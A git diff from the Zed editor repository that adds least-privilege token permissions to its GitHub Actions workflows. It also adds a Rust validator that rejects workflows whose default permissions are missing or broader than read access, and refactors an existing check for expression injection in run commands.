         description: working-directory
         type: string
         default: .
+permissions:
+  contents: read
 jobs:
   orchestrate:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/extension_workflow_rollout.yml b/.github/workflows/extension_workflow_rollout.yml
index 62a9c75d518ecd..d1a47870e6f486 100644
--- a/.github/workflows/extension_workflow_rollout.yml
+++ b/.github/workflows/extension_workflow_rollout.yml
@@ -14,6 +14,8 @@ on:
         description: Description for the changes to be expected with this rollout
         type: string
         default: ''
+permissions:
+  contents: read
 jobs:
   fetch_extension_repos:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions') && (github.ref == 'refs/tags/extension-workflows' || github.ref == 'refs/heads/main')
diff --git a/.github/workflows/good_first_issue_notifier.yml b/.github/workflows/good_first_issue_notifier.yml
index fc1b49424dce24..9e86118dd0ab24 100644
--- a/.github/workflows/good_first_issue_notifier.yml
+++ b/.github/workflows/good_first_issue_notifier.yml
@@ -4,6 +4,9 @@ on:
   issues:
     types: [labeled]
 
+permissions:
+  contents: read
+
 jobs:
   handle-good-first-issue:
     if: github.event.label.name == '.contrib/good first issue' && github.repository_owner == 'zed-industries'
diff --git a/.github/workflows/hotfix-review-monitor.yml b/.github/workflows/hotfix-review-monitor.yml
index 760cd9806c9928..c6e4bfe6e53b35 100644
--- a/.github/workflows/hotfix-review-monitor.yml
+++ b/.github/workflows/hotfix-review-monitor.yml
@@ -21,12 +21,13 @@ on:
 
 permissions:
   contents: read
-  pull-requests: read
 
 jobs:
   check-hotfix-reviews:
     if: github.repository_owner == 'zed-industries'
     runs-on: ubuntu-latest
+    permissions:
+      pull-requests: read
     timeout-minutes: 5
     env:
       REPO: ${{ github.repository }}
diff --git a/.github/workflows/nix_build.yml b/.github/workflows/nix_build.yml
index f658634c06c166..3ddd6bdd5c6e16 100644
--- a/.github/workflows/nix_build.yml
+++ b/.github/workflows/nix_build.yml
@@ -9,6 +9,8 @@ on:
     types:
     - labeled
     - synchronize
+permissions:
+  contents: read
 jobs:
   build_nix_linux_x86_64:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions') && ((github.event.action == 'labeled' && (github.event.label.name == 'run-nix' || github.event.label.name == 'run-bundling')) || (github.event.action == 'synchronize' && (contains(github.event.pull_request.labels.*.name, 'run-nix') || contains(github.event.pull_request.labels.*.name, 'run-bundling'))))
diff --git a/.github/workflows/publish_extension_cli.yml b/.github/workflows/publish_extension_cli.yml
index b2d8e96fcea1b5..bee3c7c21f51e5 100644
--- a/.github/workflows/publish_extension_cli.yml
+++ b/.github/workflows/publish_extension_cli.yml
@@ -11,6 +11,8 @@ on:
         description: Describe why the extension CLI is being bumped and/or what changes are included.
         required: true
         type: string
+permissions:
+  contents: read
 jobs:
   publish_job:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions') && github.ref == 'refs/heads/main'
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 8115259c0b78b1..ec65ab2c8725a3 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -8,6 +8,8 @@ on:
   push:
     tags:
     - v*
+permissions:
+  contents: read
 jobs:
   run_tests_mac:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
@@ -723,6 +725,8 @@ jobs:
     - bundle_windows_aarch64
     - bundle_windows_x86_64
     runs-on: namespace-profile-4x8-ubuntu-2204
+    permissions:
+      contents: write
     steps:
     - name: release::download_workflow_artifacts
       uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c
diff --git a/.github/workflows/release_nightly.yml b/.github/workflows/release_nightly.yml
index e1c72767d77117..cf9f4728aa4595 100644
--- a/.github/workflows/release_nightly.yml
+++ b/.github/workflows/release_nightly.yml
@@ -8,6 +8,8 @@ on:
   schedule:
   - cron: 0 */4 * * *
   workflow_dispatch: {}
+permissions:
+  contents: read
 jobs:
   check_nightly_tag:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/run_bundling.yml b/.github/workflows/run_bundling.yml
index b05015677c2132..4299bac4013a0b 100644
--- a/.github/workflows/run_bundling.yml
+++ b/.github/workflows/run_bundling.yml
@@ -9,6 +9,8 @@ on:
     types:
     - labeled
     - synchronize
+permissions:
+  contents: read
 jobs:
   bundle_linux_aarch64:
     if: |-
diff --git a/.github/workflows/run_tests.yml b/.github/workflows/run_tests.yml
index 3b613f255cc165..055279340ce4b3 100644
--- a/.github/workflows/run_tests.yml
+++ b/.github/workflows/run_tests.yml
@@ -14,6 +14,8 @@ on:
     branches:
     - main
     - v[0-9]+.[0-9]+.x
+permissions:
+  contents: read
 jobs:
   orchestrate:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/.github/workflows/slack_notify_community_automation_failure.yml b/.github/workflows/slack_notify_community_automation_failure.yml
index ae58a67868d6b2..d02b3b23c232eb 100644
--- a/.github/workflows/slack_notify_community_automation_failure.yml
+++ b/.github/workflows/slack_notify_community_automation_failure.yml
@@ -18,6 +18,9 @@ on:
       - "Guild New PR Notification"
     types: [completed]
 
+permissions:
+  contents: read
+
 jobs:
   notify-slack:
     if: >-
diff --git a/.github/workflows/slack_notify_first_responders.yml b/.github/workflows/slack_notify_first_responders.yml
index 3dd9ffeabae1b7..91507ebeefd804 100644
--- a/.github/workflows/slack_notify_first_responders.yml
+++ b/.github/workflows/slack_notify_first_responders.yml
@@ -4,6 +4,9 @@ on:
   issues:
     types: [labeled]
 
+permissions:
+  contents: read
+
 env:
   PRIORITY_LABELS: '["priority:P0", "priority:P1"]'
   REPRODUCIBLE_LABEL: 'state:reproducible'
diff --git a/.github/workflows/slack_notify_label_created.yml b/.github/workflows/slack_notify_label_created.yml
index e791cbc7ea4c37..f30650dc2204a8 100644
--- a/.github/workflows/slack_notify_label_created.yml
+++ b/.github/workflows/slack_notify_label_created.yml
@@ -4,6 +4,9 @@ on:
   label:
     types: [created]
 
+permissions:
+  contents: read
+
 jobs:
   notify-slack:
     if: >-
diff --git a/.github/workflows/stale-pr-reminder.yml b/.github/workflows/stale-pr-reminder.yml
index 1c3c0aec623c68..a35430857ecf8e 100644
--- a/.github/workflows/stale-pr-reminder.yml
+++ b/.github/workflows/stale-pr-reminder.yml
@@ -20,13 +20,14 @@ on:
 
 permissions:
   contents: read
-  pull-requests: read
 
 jobs:
   check-stale-prs:
     if: github.repository_owner == 'zed-industries'
     runs-on: ubuntu-latest
     timeout-minutes: 5
+    permissions:
+      pull-requests: read
     env:
       REPO: ${{ github.repository }}
       # Only surface PRs created on or after this date. Update this if the
diff --git a/.github/workflows/update_duplicate_magnets.yml b/.github/workflows/update_duplicate_magnets.yml
index d14f4aa92451aa..1d073ba0484479 100644
--- a/.github/workflows/update_duplicate_magnets.yml
+++ b/.github/workflows/update_duplicate_magnets.yml
@@ -5,10 +5,16 @@ on:
     - cron: "0 6 * * 1,4" # Mondays and Thursdays at 6 AM UTC
   workflow_dispatch:
 
+permissions:
+  contents: read
+
 jobs:
   update-duplicate-magnets:
     runs-on: ubuntu-latest
     if: github.repository == 'zed-industries/zed'
+    permissions:
+      contents: read
+      issues: write
     steps:
       - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5.0.1
 
diff --git a/extensions/workflows/run_tests.yml b/extensions/workflows/run_tests.yml
index aa748dc578407f..f7e2287700fad6 100644
--- a/extensions/workflows/run_tests.yml
+++ b/extensions/workflows/run_tests.yml
@@ -8,6 +8,8 @@ on:
   push:
     branches:
     - main
+permissions:
+  contents: read
 jobs:
   call_extension_tests:
     permissions:
diff --git a/extensions/workflows/shared/bump_version.yml b/extensions/workflows/shared/bump_version.yml
index dbe92a43a5a3c7..cf4aa1068fa7d7 100644
--- a/extensions/workflows/shared/bump_version.yml
+++ b/extensions/workflows/shared/bump_version.yml
@@ -11,6 +11,7 @@ on:
     paths-ignore:
     - .github/**
   workflow_dispatch: {}
+permissions: {}
 jobs:
   determine_bump_type:
     if: (github.repository_owner == 'zed-industries' || github.repository_owner == 'zed-extensions')
diff --git a/tooling/xtask/src/tasks/workflow_checks.rs b/tooling/xtask/src/tasks/workflow_checks.rs
index d6be0299327ad2..2b57c8509cd87e 100644
--- a/tooling/xtask/src/tasks/workflow_checks.rs
+++ b/tooling/xtask/src/tasks/workflow_checks.rs
@@ -1,20 +1,22 @@
+mod check_permissions;
 mod check_run_patterns;
 
-use std::{fs, path::PathBuf};
+use std::{
+    fs,
+    path::{Path, PathBuf},
+};
 
-use annotate_snippets::Renderer;
+use annotate_snippets::{Group, Renderer};
 use anyhow::{Result, anyhow};
 use clap::Parser;
 use itertools::{Either, Itertools};
 use serde_yaml::Value;
 use strum::IntoEnumIterator;
 
-use crate::tasks::{
-    workflow_checks::check_run_patterns::{
-        RunValidationError, WorkflowFile, WorkflowValidationError,
-    },
-    workflows::WorkflowType,
-};
+use crate::tasks::workflows::WorkflowType;
+
+use check_permissions::PermissionsError;
+use check_run_patterns::RunValidationError;
 
 pub use check_run_patterns::validate_run_command;
 
@@ -36,14 +38,14 @@ pub fn validate(_: WorkflowValidationArgs) -> Result<()> {
             parsing_errors.into_iter().join("\n")
         ))
     } else if !file_errors.is_empty() {
-        let errors: Vec<_> = file_errors
+        let groups: Vec<_> = file_errors
             .iter()
-            .map(|error| error.annotation_group())
+            .flat_map(|error| error.annotation_groups())
             .collect();
 
         let renderer =
             Renderer::styled().decor_style(annotate_snippets::renderer::DecorStyle::Ascii);
-        println!("{}", renderer.render(errors.as_slice()));
+        println!("{}", renderer.render(groups.as_slice()));
 
         Err(anyhow!("Workflow checks failed!"))
     } else {
@@ -51,6 +53,61 @@ pub fn validate(_: WorkflowValidationArgs) -> Result<()> {
     }
 }
 
+struct WorkflowFile {
+    raw_content: String,
+    parsed_content: Value,
+}
+
+impl WorkflowFile {
+    fn load(workflow_file_path: &Path) -> Result<Self> {
+        fs::read_to_string(workflow_file_path)
+            .map_err(|_| {
+                anyhow!(
+                    "Could not read workflow file at {}",
+                    workflow_file_path.display()
+                )
+            })
+            .and_then(|file_content| {
+                serde_yaml::from_str(&file_content)
+                    .map(|parsed_content| Self {
+                        raw_content: file_content,
+                        parsed_content,
+                    })
+                    .map_err(|e| anyhow!("Failed to parse workflow file: {e:?}"))
+            })
+    }
+}
+
+/// A single kind of validation failure found within a workflow file.
+enum ValidationError {
+    RunInjection(RunValidationError),
+    Permissions(PermissionsError),
+}
+
+impl ValidationError {
+    fn annotation_group<'a>(&self, file_path: &Path, raw_content: &'a str) -> Group<'a> {
+        match self {
+            ValidationError::RunInjection(error) => error.annotation_group(file_path, raw_content),
+            ValidationError::Permissions(error) => error.annotation_group(file_path, raw_content),
+        }
+    }
+}
+
+struct WorkflowValidationError {
+    file_path: PathBuf,
+    contents: WorkflowFile,
+    errors: Vec<ValidationError>,
+}
+
+impl WorkflowValidationError {
+    fn annotation_groups(&self) -> Vec<Group<'_>> {
+        self.errors
+            .iter()
+            .map(|error| error.annotation_group(&self.file_path, &self.contents.raw_content))
+            .collect()
+    }
+}
+
 enum WorkflowError {
     ParseError(anyhow::Error),
     ValidationError(Box<WorkflowValidationError>),
@@ -73,41 +130,47 @@ fn get_all_workflow_files() -> impl Iterator<Item = PathBuf> {
 }
 
 fn check_workflow(workflow_file_path: PathBuf) -> Result<(), WorkflowError> {
-    fn collect_errors(
-        iter: impl Iterator<Item = Result<(), Vec<RunValidationError>>>,
-    ) -> Result<(), Vec<RunValidationError>> {
-        Some(iter.flat_map(Result::err).flatten().collect::<Vec<_>>())
-            .filter(|errors| !errors.is_empty())
-            .map_or(Ok(()), Err)
-    }
+    let file_content =
+        WorkflowFile::load(&workflow_file_path).map_err(WorkflowError::ParseError)?;
 
-    fn check_recursive(key: &Value, value: &Value) -> Result<(), Vec<RunValidationError>> {
-        match value {
-            Value::Mapping(mapping) => collect_errors(
-                mapping
-                    .into_iter()
-                    .map(|(key, value)| check_recursive(key, value)),
-            ),
-            Value::Sequence(sequence) => collect_errors(
-                sequence
-                    .into_iter()
-                    .map(|value| check_recursive(key, value)),
-            ),
-            Value::String(string) => check_string(key, string).map_err(|error| vec![error]),
-            Value::Null | Value::Bool(_) | Value::Number(_) | Value::Tagged(_) => Ok(()),
-        }
+    let mut errors = Vec::new();
+
+    if let Err(error) = check_permissions::validate_permissions(&file_content.parsed_content) {
+        errors.push(ValidationError::Permissions(error));
     }
 
-    let file_content =
-        WorkflowFile::load(&workflow_file_path).map_err(WorkflowError::ParseError)?;
+    errors.extend(
+        collect_run_injection_errors(&Value::Null, &file_content.parsed_content)
+            .into_iter()
+            .map(ValidationError::RunInjection),
+    );
 
-    check_recursive(&Value::Null, &file_content.parsed_content).map_err(|errors| {
-        WorkflowError::ValidationError(Box::new(WorkflowValidationError::new(
-            errors,
-            file_content,
-            workflow_file_path,
+    if errors.is_empty() {
+        Ok(())
+    } else {
+        Err(WorkflowError::ValidationError(Box::new(
+            WorkflowValidationError {
+                file_path: workflow_file_path,
+                contents: file_content,
+                errors,
+            },
         )))
-    })
+    }
+}
+
+fn collect_run_injection_errors(key: &Value, value: &Value) -> Vec<RunValidationError> {
+    match value {
+        Value::Mapping(mapping) => mapping
+            .iter()
+            .flat_map(|(key, value)| collect_run_injection_errors(key, value))
+            .collect(),
+        Value::Sequence(sequence) => sequence
+            .iter()
+            .flat_map(|value| collect_run_injection_errors(key, value))
+            .collect(),
+        Value::String(string) => check_string(key, string).err().into_iter().collect(),
+        Value::Null | Value::Bool(_) | Value::Number(_) | Value::Tagged(_) => Vec::new(),
+    }
 }
 
 fn check_string(key: &Value, value: &str) -> Result<(), RunValidationError> {
diff --git a/tooling/xtask/src/tasks/workflow_checks/check_permissions.rs b/tooling/xtask/src/tasks/workflow_checks/check_permissions.rs
new file mode 100644
index 00000000000000..9fdbc003ddecc6
--- /dev/null
+++ b/tooling/xtask/src/tasks/workflow_checks/check_permissions.rs
@@ -0,0 +1,74 @@
+use annotate_snippets::{AnnotationKind, Group, Level, Snippet};
+use serde_yaml::Value;
+use std::{ops::Range, path::Path};
+
+pub enum PermissionsError {
+    /// No top-level `permissions:` key.
+    Missing,
+    /// Top-level default grants more than `contents: read`.
+    ExcessiveDefault,
+}
+
+/// Validates a workflow's top-level (default) `permissions:`.
+///
+/// Every workflow must declare one, and it may grant at most `contents: read`;
+/// jobs that need more must request it at the job level.
+pub fn validate_permissions(workflow: &Value) -> Result<(), PermissionsError> {
+    let Some(permissions) = workflow.get("permissions") else {
+        return Err(PermissionsError::Missing);
+    };
+
+    let is_minimal = match permissions {
+        Value::Mapping(mapping) => mapping.iter().all(|(scope, level)| {
+            let level = level.as_str();
+            level == Some("none") || (scope.as_str() == Some("contents") && level == Some("read"))
+        }),
+        // String forms such as `read-all`/`write-all` always exceed the allowance.
+        _ => false,
+    };
+
+    if is_minimal {
+        Ok(())
+    } else {
+        Err(PermissionsError::ExcessiveDefault)
+    }
+}
+
+impl PermissionsError {
+    pub fn annotation_group<'a>(&self, file_path: &Path, raw_content: &'a str) -> Group<'a> {
+        let (title, span, label) = match self {
+            PermissionsError::Missing => (
+                "Workflow is missing a top-level `permissions:` key",
+                first_line_span(raw_content, "name:"),
+                "Add a top-level `permissions:` key so this workflow defaults to the least privilege it needs",
+            ),
+            PermissionsError::ExcessiveDefault => (
+                "Top-level workflow permissions must grant at most `contents: read`",
+                first_line_span(raw_content, "permissions:"),
+                "Lower the default to `contents: read` (or `{}`) and move elevated permissions to the jobs that need them",
+            ),
+        };
+
+        Level::ERROR.primary_title(title).element(
+            Snippet::source(raw_content)
+                .path(file_path.display().to_string())
+                .annotations(std::iter::once(
+                    AnnotationKind::Primary.span(span).label(label),
+                )),
+        )
+    }
+}
+
+/// Span of the first column-0 line starting with `prefix`, else empty.
+fn first_line_span(raw_content: &str, prefix: &str) -> Range<usize> {
+    let mut offset = 0;
+    for line in raw_content.lines() {
+        let start = offset;
+        offset += line.len() + 1;
+        if line.starts_with(prefix) {
+            return start..start + line.len();
+        }
+    }
+
+    Default::default()
+}
diff --git a/tooling/xtask/src/tasks/workflow_checks/check_run_patterns.rs b/tooling/xtask/src/tasks/workflow_checks/check_run_patterns.rs
index 50c435d033336d..2ea2aea517c777 100644
--- a/tooling/xtask/src/tasks/workflow_checks/check_run_patterns.rs
+++ b/tooling/xtask/src/tasks/workflow_checks/check_run_patterns.rs
@@ -1,72 +1,25 @@
 use annotate_snippets::{AnnotationKind, Group, Level, Snippet};
-use anyhow::{Result, anyhow};
 use regex::Regex;
-use serde_yaml::Value;
-use std::{
-    collections::HashMap,
-    fs,
-    ops::Range,
-    path::{Path, PathBuf},
-    sync::LazyLock,
-};
+use std::{collections::HashMap, ops::Range, path::Path, sync::LazyLock};
 
 static GITHUB_INPUT_PATTERN: LazyLock<Regex> = LazyLock::new(|| {
     Regex::new(r#"\$\{\{[[:blank:]]*([[:alnum:]]|[[:punct:]])+?[[:blank:]]*\}\}"#)
         .expect("Should compile")
 });
 
-pub struct WorkflowFile {
-    raw_content: String,
-    pub parsed_content: Value,
-}
-
-impl WorkflowFile {
-    pub fn load(workflow_file_path: &Path) -> Result<Self> {
-        fs::read_to_string(workflow_file_path)
-            .map_err(|_| {
-                anyhow!(
-                    "Could not read workflow file at {}",
-                    workflow_file_path.display()
-                )
-            })
-            .and_then(|file_content| {
-                serde_yaml::from_str(&file_content)
-                    .map(|parsed_content| Self {
-                        raw_content: file_content,
-                        parsed_content,
-                    })
-                    .map_err(|e| anyhow!("Failed to parse workflow file: {e:?}"))
-            })
-    }
-}
-
-pub struct WorkflowValidationError {
-    file_path: PathBuf,
-    contents: WorkflowFile,
-    errors: Vec<RunValidationError>,
+pub struct RunValidationError {
+    found_injection_patterns: Vec<(String, Range<usize>)>,
 }
 
-impl WorkflowValidationError {
-    pub fn new(
-        errors: Vec<RunValidationError>,
-        contents: WorkflowFile,
-        file_path: PathBuf,
-    ) -> Self {
-        Self {
-            file_path,
-            contents,
-            errors,
-        }
-    }
-
-    pub fn annotation_group<'a>(&'a self) -> Group<'a> {
-        let raw_content = &self.contents.raw_content;
+impl RunValidationError {
+    /// Renders the GitHub input injection patterns found in a single `run:`
+    /// command as one diagnostic group.
+    pub fn annotation_group<'a>(&self, file_path: &Path, raw_content: &'a str) -> Group<'a> {
         let mut identical_lines = HashMap::new();
 
         let ranges = self
-            .errors
+            .found_injection_patterns
             .iter()
-            .flat_map(|error| error.found_injection_patterns.iter())
             .map(|(line, pattern_range)| {
                 let initial_offset = identical_lines
                     .get(&(line.as_str(), pattern_range.start))
@@ -89,8 +42,8 @@ impl WorkflowValidationError {
         Level::ERROR
             .primary_title("Found GitHub input injection in run command")
             .element(
-                Snippet::source(&self.contents.raw_content)
-                    .path(self.file_path.display().to_string())
+                Snippet::source(raw_content)
+                    .path(file_path.display().to_string())
                     .annotations(ranges.map(|range| {
                         AnnotationKind::Primary
                             .span(range)
@@ -100,10 +53,6 @@ impl WorkflowValidationError {
     }
 }
 
-pub struct RunValidationError {
-    found_injection_patterns: Vec<(String, Range<usize>)>,
-}
-
 pub fn validate_run_command(command: &str) -> Result<(), RunValidationError> {
     let patterns: Vec<_> = command
         .lines()
diff --git a/tooling/xtask/src/tasks/workflows.rs b/tooling/xtask/src/tasks/workflows.rs
index 14516c18f22a8d..86a2a952205dad 100644
--- a/tooling/xtask/src/tasks/workflows.rs
+++ b/tooling/xtask/src/tasks/workflows.rs
@@ -136,8 +136,8 @@ impl WorkflowFile {
             .as_ref()
             .expect("Workflow must have a name at this point");
         let filename = format!(
-            "{}.yml",
-            workflow_name.rsplit("::").next().unwrap_or(workflow_name)
+            "{workflow_name}.yml",
+            workflow_name = workflow_name.rsplit("::").next().unwrap_or(workflow_name)
         );
 
         let workflow_path = workflow_folder.join(filename);
diff --git a/tooling/xtask/src/tasks/workflows/after_release.rs b/tooling/xtask/src/tasks/workflows/after_release.rs
index bb363736c345a2..960d5f24552df9 100644
--- a/tooling/xtask/src/tasks/workflows/after_release.rs
+++ b/tooling/xtask/src/tasks/workflows/after_release.rs
@@ -4,7 +4,9 @@ use crate::tasks::workflows::{
     deploy_docs::deploy_docs_workflow_call,
     release::{self, notify_on_failure},
     runners,
-    steps::{CommonJobConditions, NamedJob, checkout_repo, dependant_job, named},
+    steps::{
+        CommonJobConditions, CommonPermissionSets, NamedJob, checkout_repo, dependant_job, named,
+    },
     vars::{self, StepOutput, WorkflowInput},
 };
 
@@ -39,6 +41,7 @@ pub fn after_release() -> Workflow {
     };
 
     named::workflow()
+        .with_minimal_permissions()
         .add_env(("TAG_NAME", TAG_NAME_ENV))
         .add_env(("IS_PRERELEASE", IS_PRERELEASE_ENV))
         .on(Event::default()
diff --git a/tooling/xtask/src/tasks/workflows/autofix_pr.rs b/tooling/xtask/src/tasks/workflows/autofix_pr.rs
index e576f43f91d438..60c664591181b2 100644
--- a/tooling/xtask/src/tasks/workflows/autofix_pr.rs
+++ b/tooling/xtask/src/tasks/workflows/autofix_pr.rs
@@ -3,8 +3,8 @@ use gh_workflow::*;
 use crate::tasks::workflows::{
     runners,
     steps::{
-        self, DownloadArtifactStep, FluentBuilder, IfNoFilesFound, NamedJob, RepositoryTarget,
-        TokenPermissions, UploadArtifactStep, ZippyGitIdentity, named, use_clang,
+        self, CommonPermissionSets, DownloadArtifactStep, FluentBuilder, IfNoFilesFound, NamedJob,
+        RepositoryTarget, TokenPermissions, UploadArtifactStep, ZippyGitIdentity, named, use_clang,
     },
     vars::{self, StepOutput, WorkflowInput},
 };
@@ -15,6 +15,7 @@ pub fn autofix_pr() -> Workflow {
     let run_autofix = run_autofix(&pr_number, &run_clippy);
     let commit_changes = commit_changes(&pr_number, &run_autofix);
     named::workflow()
+        .with_minimal_permissions()
         .run_name(format!("autofix PR #{pr_number}"))
         .on(Event::default().workflow_dispatch(
             WorkflowDispatch::default()
@@ -91,6 +92,11 @@ fn run_autofix(pr_number: &WorkflowInput, run_clippy: &WorkflowInput) -> NamedJo
     named::job(use_clang(
         Job::default()
             .runs_on(runners::LINUX_DEFAULT)
+            .permissions(
+                Permissions::default()
+                    .contents(Level::Read)
+                    .pull_requests(Level::Read),
+            )
             .outputs([(
                 "has_changes".to_owned(),
                 "${{ steps.create-patch.outputs.has_changes }}".to_owned(),
diff --git a/tooling/xtask/src/tasks/workflows/bump_patch_version.rs b/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
index fcff7418a2530c..6b9abab426cfa3 100644
--- a/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
+++ b/tooling/xtask/src/tasks/workflows/bump_patch_version.rs
@@ -2,7 +2,7 @@ use gh_workflow::*;
 
 use crate::tasks::workflows::{
     runners,
-    steps::{self, CheckoutStep, CommonJobConditions, named},
+    steps::{self, CheckoutStep, CommonJobConditions, CommonPermissionSets, named},
     vars::{StepOutput, WorkflowInput},
 };
 
@@ -10,6 +10,7 @@ pub fn bump_patch_version() -> Workflow {
     let branch = WorkflowInput::string("branch", None).description("Branch name to run on");
     let bump_patch_version_job = run_bump_patch_version(&branch);
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default()
             .workflow_dispatch(WorkflowDispatch::default().add_input(branch.name, branch.input())))
         .concurrency(
@@ -80,6 +81,7 @@ fn run_bump_patch_version(branch: &WorkflowInput) -> steps::NamedJob {
     named::job(
         Job::default()
             .with_repository_owner_guard()
+            .permissions(Permissions::default().contents(Level::Write))
             .runs_on(runners::LINUX_DEFAULT)
             .add_step(authenticate)
             .add_step(checkout_branch(branch, &token))
diff --git a/tooling/xtask/src/tasks/workflows/bump_zed_version.rs b/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
index 5501412f1be965..ccbbd19ee0f7c2 100644
--- a/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
+++ b/tooling/xtask/src/tasks/workflows/bump_zed_version.rs
@@ -2,7 +2,7 @@ use gh_workflow::*;
 
 use crate::tasks::workflows::{
     runners,
-    steps::{self, named},
+    steps::{self, CommonPermissionSets, named},
     vars::{self, StepOutput, WorkflowInput},
 };
 
@@ -17,6 +17,7 @@ pub fn bump_zed_version() -> Workflow {
     let stable_job = promote_to_stable(&target, &versions_job, &outputs);
 
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default()
             .workflow_dispatch(WorkflowDispatch::default().add_input(target.name, target.input())))
         .add_job(versions_job.name, versions_job.job)
@@ -142,6 +143,11 @@ fn bump_main(
                 target.expr(),
                 target.expr(),
             )))
+            .permissions(
+                Permissions::default()
+                    .contents(Level::Write)
+                    .pull_requests(Level::Write),
+            )
             .needs(vec![versions_job.name.clone()])
             .runs_on(runners::LINUX_DEFAULT)
             .add_step(authenticate)
@@ -193,6 +199,7 @@ fn create_preview_branch(
                 target.expr(),
                 target.expr(),
             )))
+            .permissions(Permissions::default().contents(Level::Write))
             .needs(vec![versions_job.name.clone()])
             .runs_on(runners::LINUX_DEFAULT)
             .add_step(authenticate)
@@ -250,6 +257,7 @@ fn promote_to_stable(
                 target.expr(),
                 target.expr(),
             )))
+            .permissions(Permissions::default().contents(Level::Write))
             .needs(vec![versions_job.name.clone()])
             .runs_on(runners::LINUX_DEFAULT)
             .add_step(authenticate)
diff --git a/tooling/xtask/src/tasks/workflows/cherry_pick.rs b/tooling/xtask/src/tasks/workflows/cherry_pick.rs
index 15d2808dbf6c8c..cc9e8ca64b4f29 100644
--- a/tooling/xtask/src/tasks/workflows/cherry_pick.rs
+++ b/tooling/xtask/src/tasks/workflows/cherry_pick.rs
@@ -2,7 +2,10 @@ use gh_workflow::*;
 
 use crate::tasks::workflows::{
     runners,
-    steps::{self, NamedJob, RepositoryTarget, TokenPermissions, ZippyGitIdentity, named},
+    steps::{
+        self, CommonPermissionSets, NamedJob, RepositoryTarget, TokenPermissions, ZippyGitIdentity,
+        named,
+    },
     vars::{StepOutput, WorkflowInput},
 };
 
@@ -13,6 +16,7 @@ pub fn cherry_pick() -> Workflow {
     let pr_number = WorkflowInput::string("pr_number", None);
     let cherry_pick = run_cherry_pick(&branch, &commit, &channel);
     named::workflow()
+        .with_minimal_permissions()
         .run_name(format!("cherry_pick to {channel} #{pr_number}"))
         .on(Event::default().workflow_dispatch(
             WorkflowDispatch::default()
diff --git a/tooling/xtask/src/tasks/workflows/compliance_check.rs b/tooling/xtask/src/tasks/workflows/compliance_check.rs
index 5918bc476772ae..00f6f1fbe90428 100644
--- a/tooling/xtask/src/tasks/workflows/compliance_check.rs
+++ b/tooling/xtask/src/tasks/workflows/compliance_check.rs
@@ -3,7 +3,7 @@ use gh_workflow::{Event, Job, Schedule, Workflow, WorkflowDispatch};
 use crate::tasks::workflows::{
     release::{ComplianceContext, add_compliance_steps},
     runners,
-    steps::{self, CommonJobConditions, named},
+    steps::{self, CommonJobConditions, CommonPermissionSets, named},
     vars::StepOutput,
 };
 
@@ -11,6 +11,7 @@ pub fn compliance_check() -> Workflow {
     let check = scheduled_compliance_check();
 
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default()
             .schedule([Schedule::new("30 17 * * 2")])
             .workflow_dispatch(WorkflowDispatch::default()))
diff --git a/tooling/xtask/src/tasks/workflows/danger.rs b/tooling/xtask/src/tasks/workflows/danger.rs
index c8e18f6966ac8d..564abf3b30b82f 100644
--- a/tooling/xtask/src/tasks/workflows/danger.rs
+++ b/tooling/xtask/src/tasks/workflows/danger.rs
@@ -1,6 +1,6 @@
 use gh_workflow::*;
 
-use crate::tasks::workflows::steps::{CommonJobConditions, NamedJob, named};
+use crate::tasks::workflows::steps::{CommonJobConditions, CommonPermissionSets, NamedJob, named};
 
 use super::{runners, steps};
 
@@ -9,6 +9,7 @@ pub fn danger() -> Workflow {
     let danger = danger_job();
 
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default()
             .pull_request(PullRequest::default().add_branch("main").types([
                 PullRequestType::Opened,
diff --git a/tooling/xtask/src/tasks/workflows/deploy_collab.rs b/tooling/xtask/src/tasks/workflows/deploy_collab.rs
index e372a27d23729b..5302bc2f3ff214 100644
--- a/tooling/xtask/src/tasks/workflows/deploy_collab.rs
+++ b/tooling/xtask/src/tasks/workflows/deploy_collab.rs
@@ -3,7 +3,8 @@ use indoc::indoc;
 
 use crate::tasks::workflows::runners::{self, Platform};
 use crate::tasks::workflows::steps::{
-    self, CommonJobConditions, FluentBuilder as _, NamedJob, dependant_job, named, use_clang,
+    self, CommonJobConditions, CommonPermissionSets, FluentBuilder as _, NamedJob, dependant_job,
+    named, use_clang,
 };
 use crate::tasks::workflows::vars;
 
@@ -14,6 +15,7 @@ pub(crate) fn deploy_collab() -> Workflow {
     let deploy = deploy(&[&publish]);
 
     named::workflow()
+        .with_minimal_permissions()
         .on(Event::default().push(Push::default().add_tag("collab-production")))
         .add_env(("DOCKER_BUILDKIT", "1"))
         .add_job(style.name, style.job)
diff --git a/tooling/xtask/src/tasks/workflows/deploy_docs.rs b/tooling/xtask/src/tasks/workflows/deploy_docs.rs
index f60d1097d6eda6..7871022f7702ee 100644
--- a/tooling/xtask/src/tasks/workflows/deploy_docs.rs
+++ b/tooling/xtask/src/tasks/workflows/deploy_docs.rs
@@ -6,8 +6,8 @@ use gh_workflow::{
 use crate::tasks::workflows::{
     runners,
     steps::{
-        self, CommonJobConditions, FluentBuilder as _, NamedJob, UploadArtifactStep, named,
-        release_job,
+        self, CommonJobConditions, CommonPermissionSets, FluentBuilder as _, NamedJob,
+        UploadArtifactStep, named, release_job,
     },
     vars::{self, StepOutput, WorkflowInput},
 };
@@ -314,6 +314,7 @@ pub(crate) fn deploy_docs() -> Workflow {
     let deploy_docs = deploy_docs_job(&channel, &checkout_ref);
 
     named::workflow()
+        .with_minimal_permissions()
